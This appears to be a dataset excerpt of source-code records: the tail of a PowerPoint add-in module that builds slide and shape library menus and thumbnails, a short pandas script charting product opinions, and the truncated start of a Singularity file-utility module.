id=None)\n self.cached_presentation_menus[folder] = folder_menu\n # else:\n # logging.debug('get_folder_menu_callback: reuse menu for %s' % folder)\n return self.cached_presentation_menus[folder]\n \n def get_folder_menu(self, folder, **kwargs):\n ''' returns static menu-control for given folder. menu contains entries for subfolders and pptx-files. '''\n\n files = []\n subfolders = []\n \n if os.path.isdir(folder):\n # find pptx-Files\n for filename in os.listdir(folder):\n if filename.endswith(\".pptx\") and not filename.startswith(\"~$\"):\n files.append(filename)\n logging.debug('get_folder_menu files: %s' % files)\n \n # find subfolders\n for filename in os.listdir(folder):\n if os.path.isdir(os.path.join(folder, filename)):\n if not filename.endswith(THUMBNAIL_POSTFIX):\n subfolders.append(filename)\n logging.debug('get_folder_menu folders: %s' % subfolders)\n \n else:\n logging.warning(\"Chartlib. No such directory: %s\" % folder)\n \n # FIXME: no folders which belong to files\n \n if len(files) + len(subfolders) == 0:\n children = []\n else:\n # create DynamicMenus / Galleries\n children = [\n self.get_chartlib_gallery_from_file(folder + \"\\\\\" + filename) if self.show_gallery else self.get_dynamic_file_menu(folder + \"\\\\\" + filename) \n for filename in files\n ] + ([bkt.ribbon.MenuSeparator()] if len(files) > 0 else [] )+ [\n self.get_dynamic_folder_menu(folder + \"\\\\\" + subfolder)\n for subfolder in subfolders\n ]\n \n # return Menu\n return bkt.ribbon.Menu(\n xmlns=\"http://schemas.microsoft.com/office/2009/07/customui\",\n children = children,\n **kwargs\n )\n \n def get_dynamic_folder_menu(self, folder):\n ''' returns dynamic menu for folder. if menu unfolds, menu content is obtained by get_folder_menu '''\n basename = os.path.basename(folder)\n return bkt.ribbon.DynamicMenu(label=basename, tag=folder, get_content=bkt.Callback(self.get_folder_menu_callback, current_control=True))\n\n \n def get_dynamic_file_menu(self, filename):\n ''' returns dynamic menu for file. if menu unfolds, menu content is obtained by get_chartlib_menu_from_file '''\n file_basename = os.path.splitext(os.path.basename(filename))[0]\n return bkt.ribbon.DynamicMenu(\n label=file_basename, tag=filename, \n get_content=bkt.Callback(self.get_chartlib_menu_callback, current_control=True, context=True)\n )\n \n def update_thumbnails_and_reset_cashes(self, context):\n if not bkt.helpers.confirmation(\"Dieser Vorgang kann bei vielen Libraries einige Minuten dauern und nicht abgebrochen werden. Trotzdem fortsetzen?\"):\n return\n\n def loop(worker):\n try:\n total = len(self.cached_presentation_galleries)+1\n current = 1.0\n worker.ReportProgress(1, \"Lade Dateien\")\n for gal in self.cached_presentation_galleries.itervalues():\n if worker.CancellationPending:\n break\n if len(gal.filename) > 50:\n worker.ReportProgress(current/total*100, \"...\" + gal.filename[-50:])\n else:\n worker.ReportProgress(current/total*100, gal.filename)\n \n gal.reset_gallery_items(context)\n current += 1.0\n worker.ReportProgress(100, \"Cache löschen\")\n except:\n logging.error(\"Error on refreshing chartlib libraries\")\n logging.debug(traceback.format_exc())\n finally:\n self.reset_cashes()\n \n bkt.ui.execute_with_progress_bar(loop, context, modal=False) #modal=False important so main thread can handle app events and all presentations close properly\n\n def reset_cashes(self):\n ''' cashes for library menus and galleries are deleted '''\n self.cached_presentation_menus = {}\n self.cached_presentation_galleries = {}\n \n \n \n # ====================================\n # = Quick add to favorites =\n # ====================================\n\n # def add_fav_to_config(self):\n # if not self.copy_shapes_setting:\n # folders = bkt.config.chart_library_folders or []\n # if self.fav_folder not in folders:\n # folders.append(self.fav_folder)\n # self.library_folders.insert(0, self.fav_folder)\n # bkt.config.set_smart(\"chart_library_folders\", folders)\n # else:\n # folders = bkt.config.shape_library_folders or []\n # if self.fav_folder not in folders:\n # folders.append(self.fav_folder)\n # self.library_folders.insert(0, self.fav_folder)\n # bkt.config.set_smart(\"shape_library_folders\", folders)\n\n def add_chart_to_lib(self, context):\n #Open default file\n #FIXME: read list of files in fav folder and ask user to select file\n file = os.path.join(self.fav_folder, \"Favorites.pptx\")\n pres = self.create_or_open_presentation(context, file)\n #Ensure fav folder is in config\n # self.add_fav_to_config()\n \n try:\n if not self.copy_shapes_setting:\n #Copy slides\n context.selection.SlideRange.Copy()\n # pres.Slides.Paste()\n self._save_paste(pres.Slides)\n else:\n #Copy each shape individually\n for shape in context.shapes:\n title = bkt.ui.show_user_input(\"Bitte Shape-Titel eingeben:\", \"Shape-Titel\", shape.Name)\n if title is None:\n break\n shape.Copy()\n slide = pres.Slides.Add(pres.Slides.Count+1, 11) #11=ppTitleOnly\n \n #set slide background color\n slide.FollowMasterBackground = False\n orig_bg = context.slides[0].Background.Fill.ForeColor\n if orig_bg.Type == pplib.MsoColorType['msoColorTypeScheme'] and orig_bg.ObjectThemeColor > 0:\n slide.Background.Fill.ForeColor.ObjectThemeColor = orig_bg.ObjectThemeColor\n slide.Background.Fill.ForeColor.Brightness = orig_bg.Brightness\n else:\n slide.Background.Fill.ForeColor.RGB = orig_bg.RGB\n \n # new_shp = slide.Shapes.Paste()\n new_shp = self._save_paste(slide.Shapes)\n new_shp.Left = (pres.PageSetup.SlideWidth - new_shp.Width)*0.5\n new_shp.Top = (pres.PageSetup.SlideHeight - new_shp.Height)*0.5\n slide.Shapes.Title.Textframe.TextRange.Text = title\n\n pres.Save()\n except:\n bkt.helpers.exception_as_message()\n finally:\n pres.Saved = True\n pres.Close()\n\n #Regenerate thumbnails\n gallery = self.get_chartlib_gallery_from_file(file)\n gallery.reset_gallery_items(context)\n self.reset_cashes()\n\n\n \n # ====================================\n # = Menu-items for ChartLib-sections =\n # ====================================\n \n def reset_chartlib_menu_callback(self, context, current_control):\n ''' callback to reload menu for presentation-file represented by control '''\n return self.reset_chartlib_menu_from_file(context, current_control['tag'])\n \n def reset_chartlib_menu_from_file(self, context, filename):\n ''' reloads menu for presentation-file. resets caches and relads chartlib-menu '''\n self.cached_presentation_menus.pop(filename, None)\n self.get_chartlib_menu_from_file(context, filename)\n return None\n \n def get_chartlib_menu_callback(self, context, current_control):\n ''' callback for dynamic menu, return Menu-control for presentation represented by control '''\n return self.get_chartlib_menu_from_file(context, current_control['tag'])\n \n def get_chartlib_menu_from_file(self, context, filename):\n ''' returns static menu for presentation-file. uses cached menu or generates menu using get_chartlib_menu_from_presentation '''\n if not self.cached_presentation_menus.has_key(filename):\n # presentation = self.open_presentation_file(context, filename)\n with open_presentation_without_window(context, filename) as presentation:\n menu = self.get_chartlib_menu_from_presentation(presentation)\n # presentation.Close()\n self.cached_presentation_menus[filename] = menu\n # else:\n # logging.debug('get_chartlib_menu_from_presentation: reuse menu for %s' % filename)\n return self.cached_presentation_menus[filename]\n \n def get_chartlib_menu_from_presentation(self, presentation):\n ''' returns static menu for presentation. \n Opens prensentation and creates menu-buttons for every slide.\n If presentation has sections, these are reused to structure menu:\n either by menu-sections or sub-menus; latter if presentation has 40 slides or more.\n '''\n children = [ ]\n \n # items per section\n num_sections = presentation.sectionProperties.Count\n if num_sections == 0:\n # only one section, list slide-Buttons\n children += self.get_section_menu(presentation.slides, 1, presentation.slides.count)\n elif presentation.Slides.Count < 40:\n # list-seperator per section, with slide-Buttons\n for idx in range(1,num_sections+1):\n children += [ bkt.ribbon.MenuSeparator(title = presentation.sectionProperties.Name(idx)) ]\n children += self.get_section_menu(presentation.slides,\n presentation.sectionProperties.FirstSlide(idx),\n presentation.sectionProperties.SlidesCount(idx) )\n else:\n # list Menu per section, with slide-Buttons\n children += [\n bkt.ribbon.Menu(\n label = presentation.sectionProperties.Name(idx),\n children = self.get_section_menu(presentation.slides,\n presentation.sectionProperties.FirstSlide(idx),\n presentation.sectionProperties.SlidesCount(idx) )\n )\n for idx in range(1,num_sections+1)\n ]\n\n # open-file-Button\n children += self.get_file_buttons(presentation.FullName)\n \n # return Menu\n menu = bkt.ribbon.Menu(\n #label=presentation.Name,\n xmlns=\"http://schemas.microsoft.com/office/2009/07/customui\",\n id=None,\n children = children\n )\n return menu\n \n \n def get_chartlib_gallery_from_file(self, filename):\n ''' returns dynamic gallery for presentation-file. uses cached gallery or generates gallery using ChartLibGallery class '''\n if not self.cached_presentation_galleries.has_key(filename):\n gallery = ChartLibGallery(filename, copy_shapes=self.copy_shapes_setting)\n self.cached_presentation_galleries[filename] = gallery\n return self.cached_presentation_galleries[filename]\n \n \n \n \n # ==================================\n # = Menu-items for ChartLib-slides =\n # ==================================\n \n def get_section_menu(self, slides, offset, count):\n ''' return menu-buttons for given slide selection '''\n \n # control chars are removed from labels\n control_chars = dict.fromkeys(range(32))\n \n return [\n bkt.ribbon.Button(\n label = slides.item(idx).Shapes.Title.Textframe.TextRange.text[:40].translate(control_chars) if slides.item(idx).Shapes.Title.Textframe.TextRange.text != \"\" else \"slide\" + str(idx),\n tag=slides.parent.FullName + \"|\" + str(idx),\n on_action=bkt.Callback(self.slide_action, context=True, current_control=True)\n )\n for idx in range(offset, offset+count)\n if slides.item(idx).shapes.hastitle != False\n ]\n \n\n\n \n # ===========\n # = actions =\n # ===========\n \n def get_file_buttons(self, filename, show_menu_separator=True):\n return ([bkt.ribbon.MenuSeparator(title = \"Library\")] if show_menu_separator else []) + [\n bkt.ribbon.Button(label=\"Datei öffnen und Library bearbeiten\",\n image_mso='FileSaveAsPowerPointPptx',\n tag=filename,\n on_action=bkt.Callback(self.open_file, context=True, current_control=True)\n ),\n bkt.ribbon.Button(label=\"Datei erneut indizieren\",\n image_mso='AccessRefreshAllLists',\n tag=filename,\n on_action=bkt.Callback(self.reset_chartlib_menu_callback, context=True, current_control=True)\n )\n ]\n \n @classmethod\n def open_file(cls, context, current_control):\n ''' Open library file with window and write access '''\n filename = current_control['tag']\n # Parameter: rw-access, ohne Titel, mit Fenster\n presentation = context.app.Presentations.Open(filename, False, False, True)\n \n @classmethod\n def copy_slide_callback(cls, context, current_control):\n filename, slide_index = current_control['tag'].split(\"|\")\n cls.copy_slide(context, filename, slide_index)\n \n @classmethod\n def copy_slide(cls, context, filename, slide_index):\n ''' Copy slide from chart lib '''\n # open presentation\n # template_presentation = cls.open_presentation_file(context, filename)\n with open_presentation_without_window(context, filename) as template_presentation:\n # copy slide\n template_presentation.slides.item(int(slide_index)).copy()\n # paste slide\n position = context.app.activeWindow.View.Slide.SlideIndex\n # context.app.activeWindow.presentation.slides.paste(position+1)\n cls._save_paste(context.app.activeWindow.presentation.slides, position+1)\n # template_presentation.Close()\n \n @classmethod\n def copy_shapes_callback(cls, context, current_control):\n filename, slide_index = current_control['tag'].split(\"|\")\n cls.copy_shapes(context, filename, slide_index)\n \n @classmethod\n def copy_shapes(cls, context, filename, slide_index):\n ''' Copy shape from shape lib '''\n # open presentation\n # template_presentation = cls.open_presentation_file(context, filename)\n with open_presentation_without_window(context, filename) as template_presentation:\n template_slide = template_presentation.slides.item(int(slide_index))\n # current slide\n cur_slide = context.app.activeWindow.View.Slide\n shape_count = cur_slide.shapes.count\n # find relevant shapes\n shape_indices = []\n shape_index = 1\n for shape in template_slide.shapes:\n if shape.type != 14 and shape.visible == -1:\n # shape is not a placeholder and visible\n shape_indices.append(shape_index)\n shape_index+=1\n # select and copy shapes\n template_slide.shapes.Range(Array[int](shape_indices)).copy()\n # cur_slide.shapes.paste()\n cls._save_paste(cur_slide.shapes)\n \n # group+select shapes\n if cur_slide.shapes.count - shape_count > 1:\n cur_slide.shapes.Range(Array[int](range(shape_count+1, cur_slide.shapes.count+1))).group().select()\n else:\n cur_slide.shapes.item(cur_slide.shapes.count).select()\n # template_presentation.Close()\n \n \n \n\n\ndef filename_as_ui_id(filename):\n from string import maketrans\n ''' creates customui-id from filename by removing unsupported characters '''\n # characters to remove\n chr_numbers = range(45) + range(46,48) + range(58,65) + range(91,95) + [96] + range(123,256)\n # translation tab\n transtab = maketrans(\"\".join( chr(i) for i in chr_numbers ), '|'*len(chr_numbers))\n \n return 'id_' + filename.translate(transtab).replace('|', '__')\n\n\n\nclass ChartLibGallery(bkt.ribbon.Gallery):\n \n # size of items\n # item_width should not be used in chart lib (copy_shapes=False); will be overwritten with respect to slide-format\n item_height = 150\n item_width = 200\n \n def __init__(self, filename, copy_shapes=False, **user_kwargs):\n '''Constructor\n Initializes Gallery for chart/shape-library\n '''\n self.filename = filename\n self.items_initialized = False\n \n self.labels = []\n self.slide_indices = []\n \n parent_id = user_kwargs.get('id') or \"\"\n \n self.this_id = filename_as_ui_id(filename) + \"--\" + str(copy_shapes)\n \n \n \n # default settings\n kwargs = dict(\n #label = u\"Test Gallery\",\n id = self.this_id,\n label = os.path.splitext(os.path.basename(filename))[0],\n show_label=False,\n #screentip=\"\",\n #supertip=\"\",\n get_image=bkt.Callback(lambda: self.get_chartlib_item_image(0)),\n )\n \n self.copy_shapes = copy_shapes\n if self.copy_shapes:\n # shape lib settings\n kwargs.update(dict(\n item_height=50,\n item_width=50,\n columns=3\n ))\n else:\n # slide lib settings\n kwargs.update(dict(\n item_height=100,\n #item_width=177, item_height=100, # 16:9\n #item_width=133, item_height=100, # 4:3\n columns=2\n ))\n \n # user kwargs\n if len(user_kwargs) > 0:\n kwargs.update(user_kwargs)\n \n # initialize gallery\n super(ChartLibGallery, self).__init__(\n children = self.get_file_buttons(),\n **kwargs\n )\n \n \n \n # ================\n # = ui callbacks =\n # ================\n \n def on_action_indexed(self, selected_item, index, context, current_control):\n '''CustomUI-callback: copy shape/slide from library to current presentation'''\n if self.copy_shapes:\n # copy shapes / shape library\n ChartLib.copy_shapes(context, self.filename, self.slide_indices[index])\n else:\n # copy slide / slide library\n ChartLib.copy_slide(context, self.filename, self.slide_indices[index])\n \n def get_item_count(self, context):\n '''CustomUI-callback'''\n if not self.items_initialized:\n self.init_gallery_items(context)\n return len(self.labels)\n\n def get_item_height(self):\n '''CustomUI-callback: return item-height\n item-height is initialized by init_gallery_items\n '''\n return self.item_height\n\n def get_item_width(self):\n '''CustomUI-callback: return item-width\n item-width is initialized by init_gallery_items\n '''\n return self.item_width\n \n def get_item_id(self, index):\n '''CustomUI-callback: returns corresponding item id'''\n return self.this_id + \"--\" + str(index)\n \n def get_item_label(self, index):\n '''CustomUI-callback: returns corresponding item label\n labels are initialized by init_gallery_items\n '''\n if not self.items_initialized:\n self.init_gallery_items(context)\n return self.labels[index][:40]\n \n def get_item_screentip(self, index):\n '''CustomUI-callback'''\n #return \"Shape aus Shape-library einfügen\"\n if self.copy_shapes:\n # copy shapes / shape library\n return \"Shape »\" + self.labels[index] + \"« aus Shape-Library einfügen\"\n else:\n # copy slide / slide library\n return \"Folie »\" + self.labels[index] + \"« aus Chart-Library einfügen\"\n \n # def get_item_supertip(self, index):\n # return \"tbd\"\n \n def get_item_image(self, index):\n '''CustomUI-callback: calls get_chartlib_item_image'''\n if not self.items_initialized:\n self.init_gallery_items(context)\n return self.get_chartlib_item_image(index)\n \n \n \n # ===========\n # = methods =\n # ===========\n \n def get_file_buttons(self):\n return [\n bkt.ribbon.Button(label=\"Datei öffnen und Library bearbeiten\",\n image_mso='FileSaveAsPowerPointPptx',\n tag=self.filename,\n on_action=bkt.Callback(ChartLib.open_file, context=True, current_control=True)\n ),\n bkt.ribbon.Button(label=\"Datei erneut indizieren und Thumbnails aktualisieren\",\n image_mso='AccessRefreshAllLists',\n on_action=bkt.Callback(self.reset_gallery_items, context=True)\n )\n ]\n \n def reset_gallery_items(self, context):\n '''Forces Gallery to re-initialize and generate thumbnail-images'''\n # reset gallery in a separate thread so core thread is still able to handle the app-events (i.e. presentation open/close).\n # otherwise when this function is called in a loop, some presentations remain open and block ppt process from being quit.\n t = Thread(target=self.init_gallery_items, args=(context, True))\n t.start()\n t.join()\n # self.init_gallery_items(context, force_thumbnail_generation=True)\n \n def init_gallery_items(self, context, force_thumbnail_generation=False):\n try:\n if force_thumbnail_generation:\n raise KeyError(\"Thumbnail generation not possible from cache\")\n self.init_gallery_items_from_cache()\n except KeyError as e:\n if str(e) == \"CACHE_FILEMTIME_INVALID\":\n force_thumbnail_generation = True\n with open_presentation_without_window(context, self.filename) as presentation:\n try:\n self.init_gallery_items_from_presentation(presentation, force_thumbnail_generation=force_thumbnail_generation)\n except:\n logging.error('error initializing gallery')\n logging.debug(traceback.format_exc())\n \n # try:\n # presentation = Charlib.open_presentation_file(context, self.filename)\n # # presentation = context.app.Presentations.Open(self.filename, True, False, True) #filename, readonly, untitled, withwindow\n # self.init_gallery_items_from_presentation(presentation, force_thumbnail_generation=force_thumbnail_generation)\n # except:\n # logging.error('error initializing gallery')\n # logging.debug(traceback.format_exc())\n # finally:\n # # logging.debug('closing presentation: %s' % self.filename)\n # presentation.Saved = True\n # presentation.Close()\n \n def init_gallery_items_from_cache(self):\n ''' initialize gallery items from cache if file has not been modified.\n '''\n cache = ChartLibCache.cache[self.filename]\n if os.path.getmtime(self.filename) != cache[\"file_mtime\"]:\n raise KeyError(\"CACHE_FILEMTIME_INVALID\")\n self.item_width = cache[\"item_width\"]\n self.slide_indices = cache[\"slide_indices\"]\n self.labels = cache[\"labels\"]\n self.item_count = cache[\"item_count\"]\n self.items_initialized = True\n \n def init_gallery_items_from_presentation(self, presentation, force_thumbnail_generation=False):\n ''' initialize gallery items (count, labels, item-widht, item-height... ).\n Also generates thumbnail-image-files if needed.\n '''\n \n # item width should respect slide-format\n if not self.copy_shapes:\n self.item_width = int(self.item_height * presentation.SlideMaster.Width / presentation.SlideMaster.Height)\n \n # init labels\n control_chars = dict.fromkeys(range(32))\n item_count = presentation.Slides.Count\n self.slide_indices = [\n idx\n for idx in range(1, 1+item_count)\n if presentation.slides.item(idx).shapes.hastitle != False\n ]\n self.labels = [\n # presentation.slides.item(idx).Shapes.Title.Textframe.TextRange.text[:40].translate(control_chars) \n presentation.slides.item(idx).Shapes.Title.Textframe.TextRange.text.translate(control_chars) \n if presentation.slides.item(idx).Shapes.Title.Textframe.TextRange.text != \"\" else \"slide\" + str(idx)\n for idx in self.slide_indices\n ]\n # logging.debug(\"labels %s\" % self.labels)\n\n # init items\n self.item_count = len(self.labels)\n\n # items are initialized and can be displayed\n self.items_initialized = True\n\n #create cache\n ChartLibCache.cache[self.filename] = dict(\n # cache_time = time.time(),\n file_mtime = os.path.getmtime(self.filename),\n item_width = self.item_width,\n slide_indices = self.slide_indices,\n labels = self.labels,\n item_count = self.item_count,\n )\n ChartLibCache.cache.sync()\n\n # init images, if first thumbnail does not exist\n image_filename = self.get_image_filename(1)\n if force_thumbnail_generation or not os.path.exists(image_filename):\n if self.copy_shapes:\n self.generate_gallery_images_from_shapes(presentation)\n else:\n self.generate_gallery_images_from_slides(presentation)\n \n # # cache items for next call on library\n # # image loading still necessary\n # self.children = [\n # bkt.ribbon.Item(\n # id=self.get_item_id(idx),\n # label=self.get_item_label(idx),\n # #image=self.get_item_image(idx),\n # )\n # for idx in range(self.get_item_count(context=None))\n # ] + self.children\n \n \n \n def get_image_filename(self, index, postfix=\"\"):\n ''' returns path of thumbnail for given chart-lib slide '''\n return os.path.join(os.path.splitext(self.filename)[0] + THUMBNAIL_POSTFIX, str(index) + postfix + '.png')\n \n \n def generate_gallery_images_from_slides(self, presentation):\n ''' generate thumbnail images for all chart-lib items '''\n filename = presentation.FullName\n item_count = presentation.Slides.Count\n control_chars = dict.fromkeys(range(32))\n \n # make sure, directory exists\n directory = os.path.split( self.get_image_filename(1) )[0]\n if not os.path.exists(directory):\n os.makedirs(directory)\n \n for slide in presentation.slides:\n if slide.shapes.hastitle != False:\n # select shapes\n # slide_range = presentation.slides.Range(Array[int]([ slide.SlideIndex ]))\n image_filename = self.get_image_filename(slide.SlideIndex)\n try:\n # export image as PNG, 2 = ppShapeFormatPNG, 0 = ppShapeFormatGIF\n # width 600, auto height (450 for 4:3)\n # slide_range.Export(image_filename, 'PNG', 600)\n # slide.Export(image_filename, 'PNG', 600) #FIXME: this line closes the chartlib menu, so every time the images are generated, the user needs to re-open the chartlib\n slide.Copy()\n Forms.Clipboard.GetImage().Save(image_filename, Drawing.Imaging.ImageFormat.Png)\n except:\n logging.warning('Creation of thumbnail image failed: %s' % image_filename)\n Forms.Clipboard.Clear()\n \n \n def generate_gallery_images_from_shapes(self, presentation, with_placeholders=False):\n ''' generate thumbnail images for all shape-lib items '''\n filename = presentation.FullName\n item_count = presentation.Slides.Count\n control_chars = dict.fromkeys(range(32))\n \n # make sure, directory exists\n directory = os.path.split( self.get_image_filename(1) )[0]\n if not os.path.exists(directory):\n os.makedirs(directory)\n \n for slide in presentation.slides:\n if slide.shapes.hastitle != False:\n # find relevant shapes\n shape_indices = []\n shape_index = 1\n for shape in slide.shapes:\n if shape.visible == -1 and (with_placeholders or shape.type != 14):\n # shape is visible and not a placeholder (or placeholder are allowed)\n shape_indices.append(shape_index)\n shape_index+=1\n # select shapes\n shape_range = slide.shapes.Range(Array[int](shape_indices))\n image_filename = self.get_image_filename(slide.SlideIndex)\n # WAS: image_filename = os.path.join(os.path.splitext(self.filename)[0], str(slide.SlideIndex) + '.png')\n \n try:\n # export image as PNG, \n # ppShapeFormatGIF = 0, ppShapeFormatJPG = 1, ppShapeFormatPNG = 2, ppShapeFormatBMP = 3, ppShapeFormatWMF = 4, ppShapeFormatEMF = 5;\n shape_range.Export(image_filename, 2) \n except:\n logging.warning('Creation of thumbnail image failed: %s' % image_filename)\n \n # resize thumbnail image to square\n if os.path.exists(image_filename):\n try:\n # init croped image\n width = 100\n height = 100\n image = Bitmap(image_filename)\n bmp = Bitmap(width, height)\n graph = Drawing.Graphics.FromImage(bmp)\n #set background color of thumbnails\n background_color = Drawing.ColorTranslator.FromOle(slide.Background.Fill.ForeColor.RGB)\n if background_color != pplib.PowerPoint.XlRgbColor.rgbWhite.value__:\n graph.Clear(background_color)\n # compute scale\n scale = min(float(width) / image.Width, float(height) / image.Height)\n scaleWidth = int(image.Width * scale)\n scaleHeight = int(image.Height * scale)\n # set quality\n graph.InterpolationMode = Drawing.Drawing2D.InterpolationMode.High\n graph.CompositingQuality = Drawing.Drawing2D.CompositingQuality.HighQuality\n graph.SmoothingMode = Drawing.Drawing2D.SmoothingMode.AntiAlias\n # redraw and save\n # logging.debug('crop image from %sx%s to %sx%s. rect %s.%s-%sx%s' % (image.Width, image.Height, width, height, int((width - scaleWidth)/2), int((height - scaleHeight)/2), scaleWidth, scaleHeight))\n graph.DrawImage(image, Drawing.Rectangle(int((width - scaleWidth)/2), int((height - scaleHeight)/2), scaleWidth, scaleHeight))\n cropped_image_filename = self.get_image_filename(slide.SlideIndex, postfix=\"-cropped\")\n bmp.Save(cropped_image_filename)\n # close files\n image.Dispose()\n bmp.Dispose()\n # move files\n original_image_filename = self.get_image_filename(slide.SlideIndex, postfix=\"-original\")\n if os.path.exists(original_image_filename):\n os.remove(original_image_filename)\n os.rename(image_filename, original_image_filename)\n os.rename(cropped_image_filename, image_filename)\n \n except:\n logging.error('Creation of croped thumbnail image failed: %s' % image_filename)\n logging.debug(traceback.format_exc())\n finally:\n if image:\n image.Dispose()\n if bmp:\n bmp.Dispose()\n \n \n def get_chartlib_item_image(self, index):\n ''' load item image from corresponding image-file and return Bitmap-object '''\n #logging.debug('get_chartlib_item_image %s -- %s' % (filename, index))\n image_filename = self.get_image_filename(index+1)\n #logging.debug('get_chartlib_item_image %s' % (image_filename))\n if os.path.exists(image_filename):\n # return empty from file\n #return Bitmap.FromFile(image_filename)\n \n #version that should not lock the file, which prevents updating of thumbnails:\n with Bitmap.FromFile(image_filename) as img:\n new_img = Bitmap(img)\n img.Dispose()\n return new_img\n else:\n # return empty white image\n img = Bitmap(50, 50)\n color = ColorTranslator.FromHtml('#ffffff00')\n img.SetPixel(0, 0, color);\n return img\n\n\n\n\n\ncharts = ChartLib()\n# charts.library_folders.extend( bkt.config.chart_library_folders or [] )\n# charts.library_files.extend( bkt.config.chart_libraries or [] )\n\nshapes = ChartLib( copy_shapes=True )\n# shapes.library_folders.extend( bkt.config.shape_library_folders or [] )\n# shapes.library_files.extend( bkt.config.shape_libraries or [] )\n\n\n# add from feature-folders\n# for folder in bkt.config.feature_folders:\n# chartlib_folder = os.path.join(folder, \"chartlib\")\n# charts.library_folders.append( { 'title':os.path.basename(os.path.realpath(folder)), 'folder':chartlib_folder})\n# shapelib_folder = os.path.join(folder, \"shapelib\")\n# shapes.library_folders.append( { 'title':os.path.basename(os.path.realpath(folder)), 'folder':shapelib_folder})\n\n\n\nchartlib_button = bkt.ribbon.DynamicMenu(\n id='menu-add-chart',\n label=\"Templatefolie einfügen\",\n show_label=False,\n screentip=\"Folie aus Slide-Library einfügen\",\n supertip=\"Aus den hinterlegten Slide-Templates kann ein Template als neue Folie eingefügt werden.\",\n image_mso=\"SlideMasterInsertLayout\",\n #image_mso=\"CreateFormBlankForm\",\n get_content = bkt.Callback(\n charts.get_root_menu\n )\n)\nshapelib_button = bkt.ribbon.DynamicMenu(\n id='menu-add-shape',\n label=\"Personal Shape Library\",\n show_label=False,\n screentip=\"Shape aus Shape-Library einfügen\",\n supertip=\"Aus den hinterlegten Shape-Templates kann ein Shape auf die aktuelle Folie eingefügt werden.\",\n image_mso=\"ActionInsert\",\n #image_mso=\"ShapesInsertGallery\",\n #image_mso=\"OfficeExtensionsGallery\",\n get_content = bkt.Callback(\n shapes.get_root_menu\n )\n)\n\n# chartlibgroup = bkt.ribbon.Group(\n# label=\"chartlib\",\n# children=[ chartlib_button, shapelib_button]\n# )\n\n# bkt.powerpoint.add_tab(\n# bkt.ribbon.Tab(\n# label=\"chartlib\",\n# children = [\n# chartlibgroup\n# ]\n# )\n# )\n\n\n\n\n\n","sub_path":"features/toolbox/chartlib.py","file_name":"chartlib.py","file_ext":"py","file_size_in_byte":47248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"2828393","text":"#import bibliotek\nimport os\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n#wyświetlenie zawartości katalogu z opiniami\nprint(*os.listdir(\"./opinions_json\"))\n\n#wczytanie identyfikatora produktu, którego opinie będą analizowane\nproduct_id = input(\"Podaj kod produktu: \")\n\n#wczytanie do ramki danych opinii z pliku\nopinions = pd.read_json(\"./opinions_json/\"+product_id+'.json') \nopinions = opinions.set_index(\"opinion_id\") \n\n#częstość występowania poszczególnej liczby gwiazdek\nstars = opinions[\"stars\"].value_counts().sort_index().reindex(list(np.arange(0, 5.1, 0.5)), fill_value=0)\nfig, ax = plt.subplots()\nstars.plot.bar(color=\"deepskyblue\")\nplt.xticks(rotation=0)\nax.set_title(\"Częstość występowania poszczególnych ocen\")\nax.set_xlabel(\"liczba gwiazdek\")\nax.set_ylabel(\"liczba opinii\")\nplt.savefig(\"./figures_png/\"+product_id+'_bar.png')\nplt.close()\n\n#udział poszczególnych rekomandacji w ogólnej liczbie opinii\nrecommendation = opinions[\"recommendation\"].value_counts()\nfig, ax = plt.subplots()\nrecommendation.plot.pie(label=\"\", autopct=\"%.1f%%\", colors=['mediumseagreen', 'coral'])\nax.set_title(\"Udział poszczególnych rekomandacji w ogólnej liczbie opinii\")\nplt.savefig(\"./figures_png/\"+product_id+'_pie.png')\nplt.close()\n\n#podstawowe startstyki\nstars_everage = opinions[\"stars\"].mean()\npros = opinions[\"pros\"].count()\ncons = opinions[\"cons\"].count()\npurchased = opinions[\"purchased\"].sum()\nprint(stars_everage, pros, cons, purchased)\n\nstars_purchased = pd.crosstab(opinions[\"stars\"],opinions[\"purchased\"])\nprint(stars_purchased)","sub_path":"app/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"420692689","text":"'''\nutils.py: part of singularity package\n\nThe MIT License (MIT)\n\nCopyright (c) 2016-2017 Vanessa Sochat\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n'''\n\nimport collections\nimport os\nimport re\nimport requests\n\nimport shutil\nimport json\nfrom singularity.logger import bot\nfrom singularity.utils import (\n write_json,\n write_file\n)\nimport sys\n\nimport subprocess\n\nimport tempfile\nimport zipfile\n\n\n############################################################################\n## FILE OPERATIONS #########################################################\n############################################################################\n\n\ndef zip_up(file_list,zip_name,output_folder=None):\n '''zip_up will zip up some list of files into a package (.zip)\n :param file_list: a list of files to include in the zip.\n :param output_folder: the output folder to create the zip in. If not \n :param zip_name: the name of the zipfile to return.\n specified, a temporary folder will be given.\n '''\n tmpdir = tempfile.mkdtemp()\n \n # Make a new archive \n output_zip = \"%s/%s\" %(tmpdir,zip_name)\n zf = zipfile.ZipFile(output_zip, \"w\", zipfile.ZIP_DEFLATED, allowZip64=True)\n\n # Write files to zip, depending on type\n for filename,content in file_list.items():\n\n bot.debug(\"Adding %s to package...\" %filename)\n\n # If it's the files list, move files into the archive\n if filename.lower() == \"files\":\n if not isinstance(content,list): \n content = [content]\n for copyfile in content:\n zf.write(copyfile,os.path.basename(copyfile))\n os.remove(copyfile)\n\n else:\n\n output_file = \"%s/%s\" %(tmpdir, filename)\n \n # 